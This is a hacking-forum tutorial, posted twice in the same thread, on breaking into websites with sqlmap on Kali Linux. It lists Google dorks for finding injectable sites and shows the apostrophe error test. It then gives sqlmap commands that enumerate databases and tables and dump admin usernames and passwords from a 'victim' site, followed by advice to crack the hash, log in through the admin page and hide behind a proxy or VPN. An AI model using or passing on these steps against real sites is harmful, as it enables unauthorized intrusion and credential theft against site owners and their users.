Hack website using SQLMAP | Kali Linux 09-14-2014, 05:15 PM
#1
Introduction:
Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Required:
Ok, now those are little things you should know before we start. I won't bother you explaining more, if you have any questions use google or ask me.
Step 1.
Find Sql vulnerable site.
I will give you some basic dorks which may help you finding websites vulnerable to Sql Injection.
Step 2.
Test if the website is vulnerable
To test if the website is vulnerable to SqlInjection just add " ' " at the end of the url. Like on the image below:
![[Image: image.png]](http://s13.postimg.org/k4xrb7tnb/image.png)
And press enter. If error appears like on the image below it means the website is vulnerable.
![[Image: image.png]](http://s9.postimg.org/nussqgvjj/image.png)
Step 3.
Injection.
Open SQLMAP and type this command in the terminal and hit enter like on the image below:
![[Image: image.png]](http://s17.postimg.org/ddxc4sihr/image.png)
Now we will get the database name of the website.
![[Image: image.png]](http://s28.postimg.org/wv2wfctjx/image.png)
We got the two database "searchpr_properly" and "information_schema" we will select "searchpr_properly" database.
Step 4.
Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter.
![[Image: image.png]](http://s9.postimg.org/k3sx2jq27/image.png)
Now we will get the tables list which is stored in the database we selected.
![[Image: image.png]](http://s28.postimg.org/9gc31315p/image.png)
Step 5.
Now lets grab the columns from the "re_admin" table , type on terminal:
Now we got the columns and we got "AdminID" and "AdminPass" like on the image below:
![[Image: image.png]](http://s15.postimg.org/um214gvaj/image.png)
Step 6.
Now we are going to grab the user and pass:
![[Image: image.png]](http://s27.postimg.org/95tjkzh83/image.png)
Now you need to decrypt the password.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !
Directory of sqlmap on Kali Linux:
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output
Thank you for reading this tutorial!
-=_ Cyber Warrior _=-
Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Required:
- Kali Linux Download Here!
- Brain [Sorry don't have the download link for this]
Ok, now those are little things you should know before we start. I won't bother you explaining more, if you have any questions use google or ask me.

Step 1.
Find Sql vulnerable site.
I will give you some basic dorks which may help you finding websites vulnerable to Sql Injection.
Quote:inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurllay_old.php?id=
inurl:declaration_more.php?decl_id=
inurlageid=
inurl:games.php?id=
inurlage.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
Step 2.
Test if the website is vulnerable
To test if the website is vulnerable to SqlInjection just add " ' " at the end of the url. Like on the image below:
![[Image: image.png]](http://s13.postimg.org/k4xrb7tnb/image.png)
And press enter. If error appears like on the image below it means the website is vulnerable.
![[Image: image.png]](http://s9.postimg.org/nussqgvjj/image.png)
Step 3.
Injection.
Open SQLMAP and type this command in the terminal and hit enter like on the image below:
Quote:sqlmap -u "www.yourtaget.com/accinfo.php?id=31" --dbs
![[Image: image.png]](http://s17.postimg.org/ddxc4sihr/image.png)
Now we will get the database name of the website.
![[Image: image.png]](http://s28.postimg.org/wv2wfctjx/image.png)
We got the two database "searchpr_properly" and "information_schema" we will select "searchpr_properly" database.
Step 4.
Let's get the tables of that database.
For that we need to enter this command on terminal and after that hit Enter.
Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly --tables
![[Image: image.png]](http://s9.postimg.org/k3sx2jq27/image.png)
Now we will get the tables list which is stored in the database we selected.
![[Image: image.png]](http://s28.postimg.org/9gc31315p/image.png)
Step 5.
Now lets grab the columns from the "re_admin" table , type on terminal:
Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly -T re_admin --columns
Now we got the columns and we got "AdminID" and "AdminPass" like on the image below:
![[Image: image.png]](http://s15.postimg.org/um214gvaj/image.png)
Step 6.
Now we are going to grab the user and pass:
Quote:sqlmap -u "http://www.yourvictim/accinfo.php?id=31" -D searchpr_properly -T re_admin -C AdminID,AdminPass --dump
![[Image: image.png]](http://s27.postimg.org/95tjkzh83/image.png)
Now you need to decrypt the password.
The only thing which is left now is to find the admin page and remember to use Proxy/Vpn !
Directory of sqlmap on Kali Linux:
Places -> Computer -> Filesystem -> usr -> share -> sqlmap -> output
Thank you for reading this tutorial!
-=_ Cyber Warrior _=-


![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: iQ3pcQu.png]](http://i.imgur.com/iQ3pcQu.png)